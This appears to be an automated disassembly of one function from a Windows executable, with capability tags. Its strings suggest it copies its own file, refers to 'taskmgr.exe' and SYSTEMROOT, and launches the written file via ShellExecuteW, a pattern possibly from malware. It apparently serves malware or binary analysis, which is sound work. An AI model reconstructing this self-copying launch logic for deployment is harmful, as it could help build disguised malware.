Function at 0x41f8e0
Capabilities:
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x453f1a
mov eax, dword fs:[0]
push eax
sub esp, 0xd00
mov eax, dword [0x4668f0]
xor eax, esp
mov dword [esp + 0xcf8], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4668f0]
xor eax, esp
push eax
lea eax, [esp + 0xd14]
mov dword fs:[0], eax
mov eax, dword [esp + 0xd24]
push 0xb
xor ebx, ebx
mov ebp, 0xf
push str.taskmgr.exe
lea ecx, [esp + 0xa4]
mov dword [esp + 0x28], eax
mov dword [esp + 0xbc], ebp
mov dword [esp + 0xb8], ebx
mov byte [esp + 0xa8], bl
call fcn.0042d2b0
push 0x45c640
mov dword [esp + 0xd20], ebx
call fcn.0043755c
mov esi, eax
mov ecx, esi
add esp, 4
mov dword [esp + 0x98], ebp
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x41f985
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x88]
call fcn.0042d2b0
mov byte [esp + 0xd1c], 1
call fcn.00407c80
test al, al
je 0x41faee
push str.SYSTEMROOT
call fcn.0043755c
mov esi, eax
mov ecx, esi
add esp, 4
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x41f9d1
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x2c]
call fcn.0042d2b0
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x8c]
mov byte [esp + 0xd28], 2
call fcn.0042bf10
mov ebp, 0x10
mov byte [esp + 0xd1c], 1
cmp dword [esp + 0x3c], ebp
jb 0x41fa21
mov edx, dword [esp + 0x28]
push edx
call fcn.00434321
add esp, 4
lea ecx, [esp + 0x9c]
push ecx
mov ecx, 0x45bb08
lea edi, [esp + 0x4c]
call fcn.0042f190
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [esp + 0x88]
mov byte [esp + 0xd24], 6
call fcn.0042d1c0
mov byte [esp + 0xd1c], 1
cmp dword [esp + 0x60], ebp
jb 0x41fa6e
mov edx, dword [esp + 0x4c]
push edx
call fcn.00434321
add esp, 4
mov eax, dword [esp + 0x84]
cmp dword [esp + 0x98], ebp
jae 0x41fa85
lea eax, [esp + 0x84]
push ebx
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
je 0x41fca9
cmp dword [esp + 0x98], ebp
jb 0x41fab1
mov eax, dword [esp + 0x84]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x98], 0xf
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
cmp dword [esp + 0xb4], ebp
jb 0x41fca2
mov ecx, dword [esp + 0xa0]
push ecx
call fcn.00434321
add esp, 4
xor eax, eax
jmp 0x42024f
push 0x45c640
call fcn.0043755c
mov esi, eax
mov ecx, esi
add esp, 4
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x41fb10
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x2c]
call fcn.0042d2b0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x8c]
mov byte [esp + 0xd28], 3
call fcn.0042bf10
mov ebp, 0x10
mov byte [esp + 0xd1c], 1
cmp dword [esp + 0x3c], ebp
jb 0x41fb60
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00434321
add esp, 4
push str.SYSTEMROOT
call fcn.0043755c
mov esi, eax
mov ecx, esi
add esp, 4
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x41fb84
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x6c]
call fcn.0042d2b0
lea edx, [esp + 0x64]
push edx
mov edi, 0x45bb08
lea esi, [esp + 0x4c]
mov byte [esp + 0xd20], 4
call fcn.0042f240
add esp, 4
lea ecx, [esp + 0x9c]
push ecx
push eax
lea edi, [esp + 0x2c]
mov byte [esp + 0xd24], 5
call fcn.0042f780
mov eax, dword [esp + 0x30]
add esp, 8
cmp dword [esp + 0x3c], ebp
jae 0x41fbe1
lea eax, [esp + 0x28]
push ebx
push eax
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
setne byte [esp + 0x1b]
cmp dword [esp + 0x3c], ebp
jb 0x41fc06
mov edx, dword [esp + 0x28]
push edx
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
cmp dword [esp + 0x60], ebp
jb 0x41fc2a
mov eax, dword [esp + 0x4c]
push eax
call fcn.00434321
add esp, 4
mov byte [esp + 0xd1c], 1
mov dword [esp + 0x60], esi
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
cmp dword [esp + 0x7c], ebp
jb 0x41fc51
mov ecx, dword [esp + 0x68]
push ecx
call fcn.00434321
add esp, 4
cmp byte [esp + 0x1b], bl
je 0x41fa21
cmp dword [esp + 0x98], ebp
jb 0x41fc74
mov edx, dword [esp + 0x84]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x98], esi
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
cmp dword [esp + 0xb4], ebp
jb 0x41fca2
mov eax, dword [esp + 0xa0]
push eax
call fcn.00434321
add esp, 4
xor eax, eax
jmp 0x42024f
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
cmp esi, ebx
je 0x41fcde
push 0x400
lea edx, [esp + 0x110]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x800
lea eax, [esp + 0x510]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, 7
xor ecx, ecx
lea eax, [esp + 0x50c]
mov dword [esp + 0xd0], edi
mov dword [esp + 0xcc], ebx
mov word [esp + 0xbc], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x41fd05
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x510]
lea esi, [esp + 0xbc]
call fcn.0042d9a0
lea edx, [esp + 0x10c]
push ebx
push edx
mov byte [esp + 0xd24], 7
call fcn.0045056f
add esp, 8
cmp eax, 0xffffffff
jne 0x41fdd1
cmp dword [esp + 0xd0], 8
jb 0x41fd64
mov eax, dword [esp + 0xbc]
push eax
call fcn.00434321
add esp, 4
xor ecx, ecx
mov dword [esp + 0xd0], edi
mov dword [esp + 0xcc], ebx
mov word [esp + 0xbc], cx
cmp dword [esp + 0x98], ebp
jb 0x41fd95
mov edx, dword [esp + 0x84]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x98], 0xf
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
cmp dword [esp + 0xb4], ebp
jb 0x41fdc7
mov eax, dword [esp + 0xa0]
push eax
call fcn.00434321
add esp, 4
mov eax, 2
jmp 0x42024f
lea ecx, [esp + 0x10c]
push 0x45b4c8
push ecx
call fcn.00435de6
push 2
mov esi, eax
push ebx
push esi
call fcn.00437450
add esp, 0x14
push esi
call fcn.004372c8
add esp, 4
push esi
mov edi, eax
call fcn.00434c9c
lea edx, [edi + 1]
add esp, 4
push edx
call fcn.004348f3
add esp, 4
push esi
push 1
mov ebp, eax
push edi
push ebp
call fcn.0043613f
push esi
call fcn.004376a7
mov eax, dword [esp + 0x98]
add esp, 0x14
cmp dword [esp + 0x98], 0x10
jae 0x41fe3e
lea eax, [esp + 0x84]
push 0x45bff8
push eax
call fcn.00435de6
mov esi, eax
push esi
push edi
push 1
push ebp
call fcn.00436f1e
push esi
call fcn.004376a7
add esp, 0x1c
push 0x50
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x45b404
call fcn.0042b4b0
mov edi, dword [esp + 0x44]
lea eax, [esp + 0x6c]
push eax
push edi
call fcn.0041ed50
push 0xffffffffffffffff
push ebx
add edi, 0xc4
push eax
mov ecx, edi
mov byte [esp + 0xd28], 8
call fcn.0042bf10
mov byte [esp + 0xd1c], 7
cmp dword [esp + 0x60], 0x10
jb 0x41feb8
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.00434321
add esp, 4
mov ecx, 0x45b404
call fcn.0042f0d0
test al, al
je 0x41fed4
push 0xf
push str.DS_000000000000
mov ecx, edi
call fcn.0042d2b0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0x45b3ac
call fcn.0042b4b0
mov ecx, dword [esp + 0x3c]
lea edx, [esp + 0xf0]
push edx
call fcn.0041f010
mov byte [esp + 0xd1c], 9
mov eax, dword [esp + 0x84]
mov ebp, 0x10
cmp dword [esp + 0x98], ebp
jae 0x41ff1c
lea eax, [esp + 0x84]
push 0x45c940
push eax
call fcn.00435de6
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x41ffc8
cmp dword [esp + 0xec], ebp
jb 0x41ff4d
mov eax, dword [esp + 0xd8]
push eax
call fcn.00434321
add esp, 4
mov esi, 0xf
lea ecx, [esp + 0xb8]
mov dword [esp + 0xec], esi
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
call fcn.0042bc90
cmp dword [esp + 0x98], ebp
jb 0x41ff8c
mov ecx, dword [esp + 0x84]
push ecx
call fcn.00434321
add esp, 4
mov dword [esp + 0x98], esi
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
cmp dword [esp + 0xb4], ebp
jb 0x41fdc7
mov edx, dword [esp + 0xa0]
push edx
call fcn.00434321
add esp, 4
mov eax, 2
jmp 0x42024f
push ebx
push 0x50
push esi
call fcn.00437450
mov eax, dword [esp + 0xe4]
add esp, 0xc
cmp dword [esp + 0xec], ebp
jae 0x41ffeb
lea eax, [esp + 0xd8]
push esi
push eax
call fcn.00434d62
push ebx
push 0x60
push esi
call fcn.00437450
add esp, 0x14
cmp dword [edi + 0x18], ebp
jb 0x420008
mov edi, dword [edi + 4]
jmp 0x42000b
add edi, 4
push esi
push edi
call fcn.00434d62
push esi
call fcn.004376a7
add esp, 0xc
push 0x50
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0xac]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.0042bf10
mov edx, dword [esp + 0x44]
lea ecx, [esp + 0x6c]
push ecx
push edx
call fcn.0041ed50
mov edx, eax
lea eax, [esp + 0xd4]
mov byte [esp + 0xd1c], 0xa
call fcn.0042fa20
test al, al
sete byte [esp + 0x1b]
mov byte [esp + 0xd1c], 9
cmp dword [esp + 0x60], ebp
jb 0x42008b
mov eax, dword [esp + 0x4c]
push eax
call fcn.00434321
add esp, 4
cmp byte [esp + 0x1b], bl
je 0x4200cb
lea ecx, [esp + 0xd4]
call fcn.0042b520
lea ecx, [esp + 0xb8]
call fcn.0042bc90
lea ecx, [esp + 0x80]
call fcn.0042b520
lea ecx, [esp + 0x9c]
call fcn.0042b520
mov eax, 2
jmp 0x42024f
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push ecx
lea ecx, [esp + 0xa0]
call fcn.00402c10
add esp, 4
call fcn.0041f5d0
cmp eax, 2
je 0x420091
lea edx, [esp + 0xb8]
push edx
push 0x45c944
lea edi, [esp + 0xf8]
call fcn.0042f860
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x8c]
mov byte [esp + 0xd28], 0xb
call fcn.00402c10
mov ecx, dword [esp + 0x100]
mov edx, 8
add esp, 0xc
cmp dword [esp + 0x108], edx
jae 0x42013f
lea ecx, [esp + 0xf4]
cmp dword [eax + 0x18], edx
jb 0x420149
mov eax, dword [eax + 4]
jmp 0x42014c
add eax, 4
push ebx
push 0x45b3f8
push ecx
push eax
push 0x45c690
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [esp + 0x48]
call fcn.0042bc90
call fcn.00407c80
test al, al
je 0x42020e
lea ecx, [esp + 0x64]
push ecx
lea ecx, [esp + 0x84]
call fcn.00402c10
add esp, 4
push eax
mov ebx, 0x45c95c
lea esi, [esp + 0x4c]
mov byte [esp + 0xd20], 0xc
call fcn.0042f490
add esp, 4
cmp dword [eax + 0x18], 8
jb 0x4201af
mov eax, dword [eax + 4]
jmp 0x4201b2
add eax, 4
push eax
call fcn.00404280
add esp, 4
lea ecx, [esp + 0x48]
call fcn.0042bc90
mov bl, 0xb
lea ecx, [esp + 0x64]
mov byte [esp + 0xd1c], bl
call fcn.0042bc90
sub esp, 0x1c
mov eax, str.UPnP
mov ecx, esp
mov dword [esp + 0x38], esp
call fcn.0042bc20
sub esp, 0x1c
mov edi, esp
mov byte [esp + 0xd54], 0xd
mov dword [esp + 0x58], esp
call fcn.00402e90
mov byte [esp + 0xd54], bl
call fcn.00403520
add esp, 0x38
lea ecx, [esp + 0xf0]
call fcn.0042bc90
lea ecx, [esp + 0xd4]
call fcn.0042b520
lea ecx, [esp + 0xb8]
call fcn.0042bc90
lea ecx, [esp + 0x80]
call fcn.0042b520
lea ecx, [esp + 0x9c]
call fcn.0042b520
mov eax, 1
mov ecx, dword [esp + 0xd14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xcf8]
xor ecx, esp
call fcn.0043432c
add esp, 0xd0c
ret 4